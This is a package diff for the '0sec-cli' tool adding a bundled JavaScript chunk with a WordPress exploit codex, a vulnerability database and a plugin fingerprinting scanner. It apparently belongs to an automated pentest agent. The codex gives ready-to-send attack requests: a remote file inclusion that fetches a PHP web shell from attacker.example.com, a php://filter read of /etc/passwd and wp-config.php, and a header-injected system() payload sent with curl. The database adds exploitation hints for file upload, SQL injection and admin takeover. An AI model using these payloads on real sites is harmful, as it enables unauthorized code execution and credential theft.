0sec-cli 0.15.0 → 0.17.0

package/chunks/chunk-3MOLBTLS.js

@@ -0,0 +1,953 @@
+#!/usr/bin/env node
+import { createRequire as __0secCreateRequire } from "node:module";
+const require = __0secCreateRequire(import.meta.url);
+
+// packages/core/dist/agent/cve-exploit-codex.js
+var CVE_EXPLOIT_CODEX = {
+  "CVE-2023-3452": {
+    cveId: "CVE-2023-3452",
+    pluginSlug: "canto",
+    affectedVersionRange: "\u2264 3.0.4",
+    vulnClass: "Remote File Inclusion",
+    shortSummary: "The Canto plugin's get.php passes the wp_abspath query parameter straight into an include() call without sanitization, allowing unauthenticated RFI.",
+    exploit: {
+      primary: [
+        "# Primary: unauthenticated RFI via wp_abspath",
+        "GET /wp-content/plugins/canto/includes/lib/get.php?wp_abspath=http://attacker.example.com/payload HTTP/1.1",
+        "Host: <target>",
+        "",
+        "# Where http://attacker.example.com/payload is a controlled HTTP server",
+        "# hosting a PHP file (e.g. <?php system($_GET['cmd']); ?>). The wp_abspath",
+        "# value is concatenated into an include() call, so PHP fetches and executes it.",
+        "# Then trigger your payload with a benign proof command such as ?cmd=id on the same URL."
+      ].join("\n"),
+      fallback: [
+        "# Fallback: LFI via php:// filter when no attacker-controlled host is reachable",
+        "GET /wp-content/plugins/canto/includes/lib/get.php?wp_abspath=php://filter/convert.base64-encode/resource=/etc/passwd HTTP/1.1",
+        "Host: <target>",
+        "",
+        "# The base64-encoded file contents come back in the response body.",
+        "# Useful for reading wp-config.php or other safe proof files without an outbound HTTP listener."
+      ].join("\n")
+    },
+    prerequisites: [
+      "allow_url_include=On in php.ini (load-bearing \u2014 the Dockerfile pins this for a reason)",
+      "allow_url_fopen=On (usually default)",
+      "PHP must be able to reach the attacker-controlled host (check egress / pinned subnet, e.g. 172.133.0.0/16)"
+    ],
+    hostingNote: "The primary recipe requires an attacker-controlled HTTP server reachable from the target. If egress is restricted to a specific subnet (the XBEN-034 Dockerfile pins 172.133.0.0/16), bind your listener inside that subnet. Use the LFI fallback if no outbound reach is possible.",
+    sourceUrl: "https://nvd.nist.gov/vuln/detail/CVE-2023-3452"
+  },
+  "CVE-2023-6553": {
+    cveId: "CVE-2023-6553",
+    pluginSlug: "backup-backup",
+    affectedVersionRange: "\u2264 1.3.7",
+    vulnClass: "Unauthenticated Remote Code Execution",
+    shortSummary: 'The Backup Migration plugin (BackupBliss "backup-backup") writes the user-controlled "content-dir" HTTP header into a PHP file that gets included on the same request, yielding unauth RCE.',
+    exploit: {
+      primary: [
+        "# Step 1: poison the include via the content-dir header",
+        "GET /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1",
+        "Host: <target>",
+        "content-dir: <?php system($_GET['cmd']); ?>",
+        "",
+        "# Step 2: trigger code execution with the cmd query parameter",
+        "GET /wp-content/plugins/backup-backup/includes/backup-heart.php?cmd=id HTTP/1.1",
+        "Host: <target>",
+        "",
+        "# Both requests hit the same endpoint. The first plants the PHP payload via",
+        "# the content-dir header (which the plugin embeds in an included file), the",
+        "# second runs it. No authentication required."
+      ].join("\n"),
+      fallback: [
+        "# Single-shot variant \u2014 some installs evaluate the header on the same request:",
+        "curl -s 'http://<target>/wp-content/plugins/backup-backup/includes/backup-heart.php?cmd=id' \\",
+        `  -H 'content-dir: <?php system($_GET["cmd"]); ?>'`
+      ].join("\n")
+    },
+    prerequisites: [
+      "Plugin activated (the file is reachable even when unauthenticated)",
+      "PHP system()/exec() not disabled in php.ini (disable_functions)"
+    ],
+    sourceUrl: "https://nvd.nist.gov/vuln/detail/CVE-2023-6553"
+  }
+};
+function getCveExploit(cveId) {
+  return CVE_EXPLOIT_CODEX[cveId] ?? null;
+}
+function formatExploitRecipe(recipe) {
+  const lines = [];
+  lines.push(`[${recipe.cveId}] ${recipe.pluginSlug} ${recipe.affectedVersionRange} \u2014 ${recipe.vulnClass}`);
+  if (recipe.ghsaId) {
+    lines.push(`GHSA: ${recipe.ghsaId}`);
+  }
+  lines.push(recipe.shortSummary);
+  lines.push("");
+  lines.push("## Exploit (primary)");
+  lines.push(recipe.exploit.primary);
+  if (recipe.exploit.fallback) {
+    lines.push("");
+    lines.push("## Exploit (fallback)");
+    lines.push(recipe.exploit.fallback);
+  }
+  if (recipe.prerequisites && recipe.prerequisites.length > 0) {
+    lines.push("");
+    lines.push("## Prerequisites");
+    for (const pre of recipe.prerequisites) {
+      lines.push(`- ${pre}`);
+    }
+  }
+  if (recipe.hostingNote) {
+    lines.push("");
+    lines.push(`Note: ${recipe.hostingNote}`);
+  }
+  lines.push("");
+  lines.push(`Source: ${recipe.sourceUrl}`);
+  return lines.join("\n");
+}
+
+// packages/core/dist/agent/wp-vuln-db.js
+var WP_VULNERABILITY_DB = [
+  {
+    cveId: "CVE-2023-6553",
+    pluginSlug: "backup-backup",
+    pluginName: "Backup Migration / BackupBliss",
+    affectedRange: "<= 1.3.7",
+    fixedIn: "1.3.8",
+    severity: "critical",
+    summary: "Unauthenticated remote code execution through the backup-heart.php content-dir include path.",
+    exploitHints: [
+      "Probe /wp-content/plugins/backup-backup/includes/backup-heart.php with a content-dir PHP header, then trigger the same endpoint with cmd=."
+    ],
+    references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-6553"],
+    affected: { lte: "1.3.7" }
+  },
+  {
+    cveId: "CVE-2023-3452",
+    pluginSlug: "canto",
+    pluginName: "Canto",
+    affectedRange: "<= 3.0.4",
+    fixedIn: "3.0.5",
+    severity: "critical",
+    summary: "Unauthenticated file inclusion through wp_abspath in includes/lib/get.php.",
+    exploitHints: [
+      "Try /wp-content/plugins/canto/includes/lib/get.php?wp_abspath=http://<attacker>/payload for RFI, or php://filter for LFI-style reads."
+    ],
+    references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-3452"],
+    affected: { lte: "3.0.4" }
+  },
+  {
+    cveId: "CVE-2020-25213",
+    pluginSlug: "wp-file-manager",
+    pluginName: "WP File Manager",
+    affectedRange: "<= 6.8",
+    fixedIn: "6.9",
+    severity: "critical",
+    summary: "Unauthenticated arbitrary file upload through the exposed elFinder connector.",
+    exploitHints: [
+      "POST a PHP payload to /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php using elFinder upload parameters, then request it from wp-content/plugins/wp-file-manager/lib/files/."
+    ],
+    references: ["https://nvd.nist.gov/vuln/detail/CVE-2020-25213"],
+    affected: { lte: "6.8" }
+  },
+  {
+    cveId: "CVE-2020-24186",
+    pluginSlug: "wpdiscuz",
+    pluginName: "wpDiscuz",
+    affectedRange: "<= 7.0.4",
+    fixedIn: "7.0.5",
+    severity: "critical",
+    summary: "Unauthenticated arbitrary file upload through comment attachment handling.",
+    exploitHints: [
+      "Look for wpDiscuz comment forms and test the upload endpoint for extension/MIME bypasses that place files under wp-content/uploads/wpdiscuz/."
+    ],
+    references: ["https://wpscan.com/vulnerability/92ae2765-dac8-49dc-a361-99c799573e61/"],
+    affected: { lte: "7.0.4" }
+  },
+  {
+    cveId: "CVE-2023-32243",
+    pluginSlug: "essential-addons-for-elementor-lite",
+    pluginName: "Essential Addons for Elementor",
+    affectedRange: "5.4.0 - 5.7.1",
+    fixedIn: "5.7.2",
+    severity: "critical",
+    summary: "Unauthenticated privilege escalation through password reset key abuse.",
+    exploitHints: [
+      "Check plugin AJAX actions for the password reset flow; vulnerable installs allow unauthenticated reset of arbitrary users including admin."
+    ],
+    references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-32243"],
+    affected: { gte: "5.4.0", lte: "5.7.1" }
+  },
+  {
+    cveId: "CVE-2023-28121",
+    pluginSlug: "woocommerce-payments",
+    pluginName: "WooCommerce Payments",
+    affectedRange: "<= 5.6.1",
+    fixedIn: "5.6.2",
+    severity: "critical",
+    summary: "Authentication bypass and privilege escalation in WooCommerce Payments.",
+    exploitHints: [
+      "If woocommerce-payments is active and old, check for unauthenticated header/REST routes that impersonate privileged users."
+    ],
+    references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-28121"],
+    affected: { lte: "5.6.1" }
+  },
+  {
+    cveId: "CVE-2024-27956",
+    pluginSlug: "wp-automatic",
+    pluginName: "WP Automatic",
+    affectedRange: "< 3.92.1",
+    fixedIn: "3.92.1",
+    severity: "critical",
+    summary: "Unauthenticated SQL injection in WP Automatic.",
+    exploitHints: [
+      "Probe WP Automatic public endpoints for SQLi and credential extraction; successful exploitation often leads to admin account creation."
+    ],
+    references: ["https://nvd.nist.gov/vuln/detail/CVE-2024-27956"],
+    affected: { lt: "3.92.1" }
+  },
+  {
+    cveId: "CVE-2024-1071",
+    pluginSlug: "ultimate-member",
+    pluginName: "Ultimate Member",
+    affectedRange: "2.1.3 - 2.8.2",
+    fixedIn: "2.8.3",
+    severity: "high",
+    summary: "SQL injection through the sorting parameter in vulnerable Ultimate Member releases.",
+    exploitHints: [
+      "Enumerate Ultimate Member member directory/profile endpoints and test the sorting parameter for SQL injection."
+    ],
+    references: ["https://nvd.nist.gov/vuln/detail/CVE-2024-1071"],
+    affected: { gte: "2.1.3", lte: "2.8.2" }
+  },
+  {
+    cveId: "CVE-2023-4596",
+    pluginSlug: "forminator",
+    pluginName: "Forminator",
+    affectedRange: "<= 1.24.6",
+    fixedIn: "1.24.7",
+    severity: "high",
+    summary: "Unauthenticated arbitrary file upload in Forminator form handling.",
+    exploitHints: [
+      "Find public Forminator forms and test upload fields for extension validation bypass into wp-content/uploads/forminator/."
+    ],
+    references: ["https://nvd.nist.gov/vuln/detail/CVE-2023-4596"],
+    affected: { lte: "1.24.6" }
+  },
+  {
+    cveId: "CVE-2020-35489",
+    pluginSlug: "contact-form-7",
+    pluginName: "Contact Form 7",
+    affectedRange: "< 5.3.2",
+    fixedIn: "5.3.2",
+    severity: "high",
+    summary: "Unrestricted file upload in Contact Form 7 before 5.3.2.",
+    exploitHints: [
+      "Locate Contact Form 7 upload forms and try double-extension/polyglot upload bypasses against the form submit endpoint."
+    ],
+    references: ["https://nvd.nist.gov/vuln/detail/CVE-2020-35489"],
+    affected: { lt: "5.3.2" }
+  }
+];
+var WP_VULNERABLE_PLUGIN_SLUGS = [
+  ...new Set(WP_VULNERABILITY_DB.map((entry) => entry.pluginSlug))
+];
+function findWpVulnerabilities(pluginSlug, version) {
+  return WP_VULNERABILITY_DB.filter((entry) => entry.pluginSlug === pluginSlug).filter((entry) => version === void 0 || isAffectedVersion(version, entry)).map((entry) => ({ ...entry, matchedVersion: version }));
+}
+function isAffectedVersion(version, vuln) {
+  const normalized = normalizeVersion(version);
+  if (!normalized)
+    return false;
+  if (vuln.affected.gte && compareVersions(normalized, vuln.affected.gte) < 0)
+    return false;
+  if (vuln.affected.lt && compareVersions(normalized, vuln.affected.lt) >= 0)
+    return false;
+  if (vuln.affected.lte && compareVersions(normalized, vuln.affected.lte) > 0)
+    return false;
+  return true;
+}
+function compareVersions(a, b) {
+  const pa = parseVersionParts(a);
+  const pb = parseVersionParts(b);
+  const len = Math.max(pa.length, pb.length);
+  for (let i = 0; i < len; i++) {
+    const av = pa[i] ?? 0;
+    const bv = pb[i] ?? 0;
+    if (av < bv)
+      return -1;
+    if (av > bv)
+      return 1;
+  }
+  return 0;
+}
+function normalizeVersion(version) {
+  const match = version.trim().match(/\d+(?:[._-]\d+)*/);
+  return match?.[0]?.replace(/[_-]/g, ".");
+}
+function parseVersionParts(version) {
+  return version.split(".").map((part) => Number.parseInt(part, 10)).map((part) => Number.isFinite(part) ? part : 0);
+}
+
+// packages/core/dist/agent/wp-fingerprint.js
+async function runWpFingerprint(opts) {
+  const base = normalizeBase(opts.target);
+  const fetchImpl = opts.fetchImpl ?? globalThis.fetch;
+  const advisoryFetchImpl = opts.advisoryFetchImpl ?? fetchImpl;
+  const timeoutMs = opts.timeoutMs ?? 1e4;
+  const maxProbes = opts.maxPluginProbes ?? 40;
+  const maxVulnerableProbes = opts.maxVulnerablePluginProbes ?? 40;
+  const wpScanApiToken = opts.wpScanApiToken?.trim();
+  const result = {
+    isWordPress: false,
+    evidence: [],
+    plugins: [],
+    themes: [],
+    findings: []
+  };
+  const detection = await detectWordPress(base, fetchImpl, timeoutMs, opts.headers);
+  result.isWordPress = detection.isWordPress;
+  result.evidence = detection.evidence;
+  result.coreVersion = detection.coreVersion;
+  if (!result.isWordPress) {
+    return result;
+  }
+  const pluginSlugs = /* @__PURE__ */ new Map();
+  const themeSlugs = /* @__PURE__ */ new Map();
+  const [htmlSources, restPlugins, pluginDirListing, themeDirListing] = await Promise.all([
+    collectFromHomepage(base, fetchImpl, timeoutMs, opts.headers),
+    collectFromRestApi(base, fetchImpl, timeoutMs, opts.headers),
+    collectFromDirListing(base, "plugins", fetchImpl, timeoutMs, opts.headers),
+    collectFromDirListing(base, "themes", fetchImpl, timeoutMs, opts.headers)
+  ]);
+  for (const slug of htmlSources.plugins) {
+    pluginSlugs.set(slug, { slug, source: "html" });
+  }
+  for (const slug of htmlSources.themes) {
+    themeSlugs.set(slug, { slug, source: "html" });
+  }
+  for (const slug of restPlugins) {
+    if (!pluginSlugs.has(slug))
+      pluginSlugs.set(slug, { slug, source: "rest_api" });
+  }
+  for (const slug of pluginDirListing) {
+    if (!pluginSlugs.has(slug))
+      pluginSlugs.set(slug, { slug, source: "directory_listing" });
+  }
+  for (const slug of themeDirListing) {
+    if (!themeSlugs.has(slug))
+      themeSlugs.set(slug, { slug, source: "directory_listing" });
+  }
+  const catalogPlugins = await probeVulnerablePluginCatalog(base, pluginSlugs, maxVulnerableProbes, fetchImpl, timeoutMs, opts.headers);
+  for (const plugin of catalogPlugins) {
+    pluginSlugs.set(plugin.slug, plugin);
+  }
+  const allPlugins = [...pluginSlugs.values()];
+  const pluginList = [
+    ...allPlugins.filter((p) => p.source === "vulnerable_catalog"),
+    ...allPlugins.filter((p) => p.source !== "vulnerable_catalog")
+  ].slice(0, maxProbes);
+  await Promise.all(pluginList.map(async (p) => {
+    if (p.version)
+      return;
+    const version = await probePluginVersion(base, p.slug, fetchImpl, timeoutMs, opts.headers);
+    if (version) {
+      p.version = version;
+      if (p.source === "html" || p.source === "rest_api") {
+        p.source = "readme";
+      }
+    }
+  }));
+  const themeList = [...themeSlugs.values()].slice(0, maxProbes);
+  await Promise.all(themeList.map(async (t) => {
+    const version = await probeThemeVersion(base, t.slug, fetchImpl, timeoutMs, opts.headers);
+    if (version) {
+      t.version = version;
+      if (t.source === "html" || t.source === "rest_api") {
+        t.source = "style_css";
+      }
+    }
+  }));
+  result.plugins = pluginList;
+  result.themes = themeList;
+  const all = [
+    ...pluginList.map((p) => ({ kind: "plugin", slug: p.slug, version: p.version, source: p.source })),
+    ...themeList.map((t) => ({ kind: "theme", slug: t.slug, version: t.version, source: t.source }))
+  ];
+  if (!opts.skipOsv) {
+    result.findings = await Promise.all(all.map(async (entry) => {
+      const localMatches = entry.kind === "plugin" ? findWpVulnerabilities(entry.slug, entry.version) : [];
+      const wpVulnerabilityCves = await queryWpVulnerabilityForWordPress(entry.kind, entry.slug, entry.version, advisoryFetchImpl, timeoutMs);
+      const wpScanCves = wpScanApiToken ? await queryWpScanForWordPress(entry.kind, entry.slug, entry.version, wpScanApiToken, advisoryFetchImpl, timeoutMs) : [];
+      const osvCves = await queryOsvForWordPress(entry.slug, entry.version, advisoryFetchImpl, timeoutMs);
+      const cves = mergeCveHits(localMatchesToCves(localMatches), wpVulnerabilityCves, wpScanCves, osvCves);
+      return {
+        kind: entry.kind,
+        slug: entry.slug,
+        version: entry.version,
+        source: entry.source,
+        cves,
+        exploitHints: buildExploitHints(entry.slug, cves, localMatches)
+      };
+    }));
+  } else {
+    result.findings = await Promise.all(all.map(async (entry) => {
+      const localMatches = entry.kind === "plugin" ? findWpVulnerabilities(entry.slug, entry.version) : [];
+      const wpVulnerabilityCves = await queryWpVulnerabilityForWordPress(entry.kind, entry.slug, entry.version, advisoryFetchImpl, timeoutMs);
+      const wpScanCves = wpScanApiToken ? await queryWpScanForWordPress(entry.kind, entry.slug, entry.version, wpScanApiToken, advisoryFetchImpl, timeoutMs) : [];
+      const cves = mergeCveHits(localMatchesToCves(localMatches), wpVulnerabilityCves, wpScanCves);
+      return {
+        kind: entry.kind,
+        slug: entry.slug,
+        version: entry.version,
+        source: entry.source,
+        cves,
+        exploitHints: buildExploitHints(entry.slug, cves, localMatches)
+      };
+    }));
+  }
+  return result;
+}
+async function detectWordPress(base, fetchImpl, timeoutMs, headers) {
+  const probes = [
+    "wp-login.php",
+    "wp-admin/",
+    "readme.html",
+    "wp-includes/version.php",
+    "feed/",
+    "wp-json/"
+  ];
+  const evidence = [];
+  let coreVersion;
+  const results = await Promise.all(probes.map((path) => safeGet(`${base}/${path}`, fetchImpl, timeoutMs, headers)));
+  for (let i = 0; i < probes.length; i++) {
+    const res = results[i];
+    if (!res)
+      continue;
+    const path = probes[i];
+    if (path === "wp-login.php" && res.ok && /wp-submit|user_login|wp-login/i.test(res.body)) {
+      evidence.push("wp-login.php");
+    }
+    if (path === "wp-admin/" && (res.status === 200 || res.status === 302 || res.status === 301)) {
+      evidence.push("wp-admin/");
+    }
+    if (path === "readme.html" && res.ok) {
+      const m = res.body.match(/Version\s+(\d+\.\d+(?:\.\d+)?)/i);
+      if (m || /wordpress/i.test(res.body)) {
+        evidence.push("readme.html");
+        if (m)
+          coreVersion = m[1];
+      }
+    }
+    if (path === "wp-includes/version.php" && res.ok) {
+      const m = res.body.match(/\$wp_version\s*=\s*['"]([\d.]+)['"]/);
+      if (m) {
+        evidence.push("wp-includes/version.php");
+        coreVersion = m[1];
+      }
+    }
+    if (path === "feed/" && res.ok) {
+      const m = res.body.match(/<generator>\s*https?:\/\/wordpress\.org\/\?v=([\d.]+)/i);
+      if (m) {
+        evidence.push("feed/");
+        if (!coreVersion)
+          coreVersion = m[1];
+      } else if (/wordpress/i.test(res.body)) {
+        evidence.push("feed/");
+      }
+    }
+    if (path === "wp-json/" && res.ok && /"namespace"|wp\/v2/.test(res.body)) {
+      evidence.push("wp-json/");
+    }
+  }
+  return {
+    isWordPress: evidence.length >= 1,
+    evidence,
+    coreVersion
+  };
+}
+async function collectFromHomepage(base, fetchImpl, timeoutMs, headers) {
+  const plugins = /* @__PURE__ */ new Set();
+  const themes = /* @__PURE__ */ new Set();
+  const pages = ["", "?p=1", "?page_id=1", "?p=2"];
+  const results = await Promise.all(pages.map((p) => safeGet(`${base}/${p}`, fetchImpl, timeoutMs, headers)));
+  for (const res of results) {
+    if (!res || !res.ok)
+      continue;
+    parsePluginsFromHtml(res.body, plugins);
+    parseThemesFromHtml(res.body, themes);
+  }
+  return { plugins, themes };
+}
+function parsePluginsFromHtml(html, out) {
+  const re = /\/wp-content\/plugins\/([a-zA-Z0-9_\-]+)\//g;
+  let m;
+  while ((m = re.exec(html)) !== null) {
+    out.add(m[1]);
+  }
+}
+function parseThemesFromHtml(html, out) {
+  const re = /\/wp-content\/themes\/([a-zA-Z0-9_\-]+)\//g;
+  let m;
+  while ((m = re.exec(html)) !== null) {
+    out.add(m[1]);
+  }
+}
+async function collectFromRestApi(base, fetchImpl, timeoutMs, headers) {
+  const plugins = /* @__PURE__ */ new Set();
+  const root = await safeGet(`${base}/wp-json/`, fetchImpl, timeoutMs, headers);
+  if (root?.ok) {
+    try {
+      const data = JSON.parse(root.body);
+      if (Array.isArray(data.namespaces)) {
+        for (const ns of data.namespaces) {
+          const slug = ns.split("/")[0];
+          if (slug && slug !== "wp" && slug !== "oembed") {
+            plugins.add(slug);
+          }
+        }
+      }
+    } catch {
+    }
+  }
+  const posts = await safeGet(`${base}/wp-json/wp/v2/posts?per_page=5`, fetchImpl, timeoutMs, headers);
+  if (posts?.ok) {
+    parsePluginsFromHtml(posts.body, plugins);
+  }
+  return plugins;
+}
+async function collectFromDirListing(base, kind, fetchImpl, timeoutMs, headers) {
+  const out = /* @__PURE__ */ new Set();
+  const res = await safeGet(`${base}/wp-content/${kind}/`, fetchImpl, timeoutMs, headers);
+  if (!res?.ok)
+    return out;
+  const re = /<a\s+href="([a-zA-Z0-9_\-]+)\/?">/g;
+  let m;
+  while ((m = re.exec(res.body)) !== null) {
+    const slug = m[1];
+    if (slug === ".." || slug === ".")
+      continue;
+    out.add(slug);
+  }
+  return out;
+}
+async function probeVulnerablePluginCatalog(base, knownPlugins, maxProbes, fetchImpl, timeoutMs, headers) {
+  const candidates = WP_VULNERABLE_PLUGIN_SLUGS.filter((slug) => !knownPlugins.has(slug)).slice(0, Math.max(0, maxProbes));
+  const probed = await Promise.all(candidates.map(async (slug) => {
+    const version = await probePluginVersion(base, slug, fetchImpl, timeoutMs, headers);
+    return version ? { slug, version, source: "vulnerable_catalog" } : null;
+  }));
+  return probed.filter((plugin) => plugin !== null);
+}
+async function probePluginVersion(base, slug, fetchImpl, timeoutMs, headers) {
+  const res = await safeGet(`${base}/wp-content/plugins/${slug}/readme.txt`, fetchImpl, timeoutMs, headers);
+  if (!res?.ok)
+    return void 0;
+  return parseReadmeVersion(res.body);
+}
+function parseReadmeVersion(body) {
+  const stable = body.match(/^\s*Stable\s+tag:\s*([0-9][0-9A-Za-z._\-]*)/im);
+  if (stable)
+    return stable[1].trim();
+  const ver = body.match(/^\s*Version:\s*([0-9][0-9A-Za-z._\-]*)/im);
+  if (ver)
+    return ver[1].trim();
+  return void 0;
+}
+async function probeThemeVersion(base, slug, fetchImpl, timeoutMs, headers) {
+  const res = await safeGet(`${base}/wp-content/themes/${slug}/style.css`, fetchImpl, timeoutMs, headers);
+  if (!res?.ok)
+    return void 0;
+  return parseStyleCssVersion(res.body);
+}
+function parseStyleCssVersion(body) {
+  const m = body.match(/^\s*Version:\s*([0-9][0-9A-Za-z._\-]*)/im);
+  return m ? m[1].trim() : void 0;
+}
+async function queryOsvForWordPress(slug, version, fetchImpl, timeoutMs) {
+  try {
+    const body = {
+      package: { name: slug }
+    };
+    if (version)
+      body.version = version;
+    const res = await withTimeout(fetchImpl("https://api.osv.dev/v1/query", {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify(body)
+    }), timeoutMs);
+    if (!res || !res.ok)
+      return [];
+    const json = await res.json();
+    const vulns = json.vulns ?? [];
+    return vulns.map((v) => {
+      const aliases = v.aliases ?? [];
+      const id = v.id ?? aliases[0] ?? "UNKNOWN";
+      const severity = extractSeverity(v);
+      return {
+        id,
+        aliases,
+        severity,
+        summary: v.summary,
+        url: `https://osv.dev/vulnerability/${id}`,
+        source: "osv"
+      };
+    });
+  } catch {
+    return [];
+  }
+}
+function extractSeverity(vuln) {
+  const sev = vuln.severity;
+  if (Array.isArray(sev) && sev.length > 0) {
+    const cvss = sev.find((s) => typeof s.type === "string" && /cvss/i.test(s.type));
+    if (cvss?.score)
+      return cvss.score;
+    if (sev[0]?.score)
+      return sev[0].score;
+  }
+  const dbSpecific = vuln.database_specific;
+  if (dbSpecific?.severity)
+    return dbSpecific.severity;
+  return void 0;
+}
+async function queryWpScanForWordPress(kind, slug, version, token, fetchImpl, timeoutMs) {
+  if (!token.trim())
+    return [];
+  const path = kind === "theme" ? "themes" : "plugins";
+  try {
+    const res = await withTimeout(fetchImpl(`https://wpscan.com/api/v3/${path}/${encodeURIComponent(slug)}`, {
+      method: "GET",
+      headers: {
+        "Authorization": `Token token=${token}`,
+        "Accept": "application/json"
+      }
+    }), timeoutMs);
+    if (!res || !res.ok)
+      return [];
+    const json = await res.json();
+    const vulnerabilities = extractWpScanVulnerabilities(json, slug);
+    return vulnerabilities.filter((vuln) => isWpScanVulnerabilityRelevant(vuln, version)).map((vuln) => wpScanVulnerabilityToCveHit(vuln));
+  } catch {
+    return [];
+  }
+}
+async function queryWpVulnerabilityForWordPress(kind, slug, version, fetchImpl, timeoutMs) {
+  const path = kind === "theme" ? "theme" : "plugin";
+  try {
+    const res = await withTimeout(fetchImpl(`https://www.wpvulnerability.net/${path}/${encodeURIComponent(slug)}/`, {
+      method: "GET",
+      headers: { "Accept": "application/json" }
+    }), timeoutMs);
+    if (!res || !res.ok)
+      return [];
+    const json = await res.json();
+    const vulnerabilities = extractWpVulnerabilityEntries(json);
+    return vulnerabilities.filter((vuln) => isWpVulnerabilityEntryRelevant(vuln, version)).flatMap((vuln) => wpVulnerabilityEntryToCveHits(vuln));
+  } catch {
+    return [];
+  }
+}
+function extractWpVulnerabilityEntries(json) {
+  if (!isRecord(json))
+    return [];
+  const data = isRecord(json.data) ? json.data : json;
+  const vulnerabilities = data.vulnerability ?? data.vulnerabilities;
+  if (!Array.isArray(vulnerabilities))
+    return [];
+  return vulnerabilities.filter(isRecord);
+}
+function isWpVulnerabilityEntryRelevant(vuln, version) {
+  if (!version)
+    return true;
+  const operator = isRecord(vuln.operator) ? vuln.operator : void 0;
+  if (!operator)
+    return true;
+  return versionMatchesWpVulnerabilityOperator(version, operator);
+}
+function versionMatchesWpVulnerabilityOperator(version, operator) {
+  const minVersion = typeof operator.min_version === "string" ? operator.min_version : void 0;
+  const minOperator = typeof operator.min_operator === "string" ? operator.min_operator : void 0;
+  const maxVersion = typeof operator.max_version === "string" ? operator.max_version : void 0;
+  const maxOperator = typeof operator.max_operator === "string" ? operator.max_operator : void 0;
+  if (minVersion && minOperator && !compareWithOperator(version, minVersion, minOperator))
+    return false;
+  if (maxVersion && maxOperator && !compareWithOperator(version, maxVersion, maxOperator))
+    return false;
+  return true;
+}
+function compareWithOperator(version, boundary, operator) {
+  const cmp = compareVersions(version, boundary);
+  switch (operator.toLowerCase()) {
+    case "lt":
+    case "<":
+      return cmp < 0;
+    case "le":
+    case "lte":
+    case "<=":
+      return cmp <= 0;
+    case "gt":
+    case ">":
+      return cmp > 0;
+    case "ge":
+    case "gte":
+    case ">=":
+      return cmp >= 0;
+    case "eq":
+    case "=":
+    case "==":
+      return cmp === 0;
+    default:
+      return true;
+  }
+}
+function wpVulnerabilityEntryToCveHits(vuln) {
+  const sources = Array.isArray(vuln.source) ? vuln.source.filter(isRecord) : [];
+  const cveSources = sources.filter((source) => {
+    const id = typeof source.id === "string" ? source.id : "";
+    const name = typeof source.name === "string" ? source.name : "";
+    return /^CVE-/i.test(id) || /^CVE-/i.test(name);
+  });
+  const selectedSources = cveSources.length > 0 ? cveSources : sources.slice(0, 1);
+  if (selectedSources.length === 0) {
+    const fallbackId = formatWpVulnerabilityFallbackId(vuln.uuid);
+    return [{
+      id: fallbackId,
+      aliases: [],
+      severity: extractWpVulnerabilitySeverity(vuln),
+      summary: typeof vuln.name === "string" ? vuln.name : void 0,
+      source: "wpvulnerability"
+    }];
+  }
+  return selectedSources.map((source) => {
+    const rawId = findCveLikeString(source.id, source.name) ?? (typeof source.id === "string" ? source.id : void 0) ?? (typeof source.name === "string" ? source.name : void 0);
+    const id = normalizeCveId(rawId) ?? formatWpVulnerabilityFallbackId(vuln.uuid);
+    return {
+      id,
+      aliases: [],
+      severity: extractWpVulnerabilitySeverity(vuln),
+      summary: typeof vuln.name === "string" ? vuln.name : void 0,
+      url: typeof source.link === "string" ? source.link : void 0,
+      source: "wpvulnerability"
+    };
+  });
+}
+function formatWpVulnerabilityFallbackId(value) {
+  if (typeof value !== "string" || value.trim().length === 0)
+    return "WPVULNERABILITY";
+  return `WPVULN-${value.trim().slice(0, 12)}`;
+}
+function extractWpVulnerabilitySeverity(vuln) {
+  const impact = isRecord(vuln.impact) ? vuln.impact : void 0;
+  const cvss = impact?.cvss;
+  if (typeof cvss === "string")
+    return cvss;
+  if (typeof cvss === "number")
+    return String(cvss);
+  if (typeof vuln.severity === "string")
+    return vuln.severity;
+  return void 0;
+}
+function extractWpScanVulnerabilities(json, slug) {
+  if (!json || typeof json !== "object")
+    return [];
+  const obj = json;
+  const direct = obj.vulnerabilities;
+  if (Array.isArray(direct))
+    return direct.filter(isRecord);
+  const nested = obj[slug];
+  if (isRecord(nested) && Array.isArray(nested.vulnerabilities)) {
+    return nested.vulnerabilities.filter(isRecord);
+  }
+  const firstRecordWithVulns = Object.values(obj).find((value) => isRecord(value) && Array.isArray(value.vulnerabilities));
+  if (isRecord(firstRecordWithVulns)) {
+    return firstRecordWithVulns.vulnerabilities.filter(isRecord);
+  }
+  return [];
+}
+function isWpScanVulnerabilityRelevant(vuln, version) {
+  if (!version)
+    return true;
+  const fixedIn = parseWpScanFixedIn(vuln.fixed_in);
+  if (fixedIn.length === 0)
+    return true;
+  return fixedIn.some((fixedVersion) => compareVersions(version, fixedVersion) < 0);
+}
+function parseWpScanFixedIn(value) {
+  if (typeof value === "string")
+    return [value];
+  if (Array.isArray(value))
+    return value.filter((entry) => typeof entry === "string");
+  return [];
+}
+function wpScanVulnerabilityToCveHit(vuln) {
+  const references = isRecord(vuln.references) ? vuln.references : {};
+  const cveRefs = parseWpScanReferenceList(references.cve);
+  const urlRefs = parseWpScanReferenceList(references.url);
+  const id = normalizeCveId(cveRefs[0]) ?? (typeof vuln.id === "string" ? vuln.id : void 0) ?? (typeof vuln.uuid === "string" ? vuln.uuid : void 0) ?? "WPSCAN";
+  return {
+    id,
+    aliases: cveRefs.map((cve) => normalizeCveId(cve) ?? cve).filter((cve) => cve !== id),
+    severity: extractWpScanSeverity(vuln),
+    summary: typeof vuln.title === "string" ? vuln.title : void 0,
+    url: typeof vuln.url === "string" ? vuln.url : urlRefs[0],
+    source: "wpscan"
+  };
+}
+function parseWpScanReferenceList(value) {
+  if (typeof value === "string")
+    return [value];
+  if (Array.isArray(value))
+    return value.filter((entry) => typeof entry === "string");
+  return [];
+}
+function normalizeCveId(value) {
+  if (!value)
+    return void 0;
+  const trimmed = value.trim();
+  if (/^CVE-\d{4}-\d{4,}$/i.test(trimmed))
+    return trimmed.toUpperCase();
+  if (/^\d{4}-\d{4,}$/.test(trimmed))
+    return `CVE-${trimmed}`;
+  return void 0;
+}
+function findCveLikeString(...values) {
+  for (const value of values) {
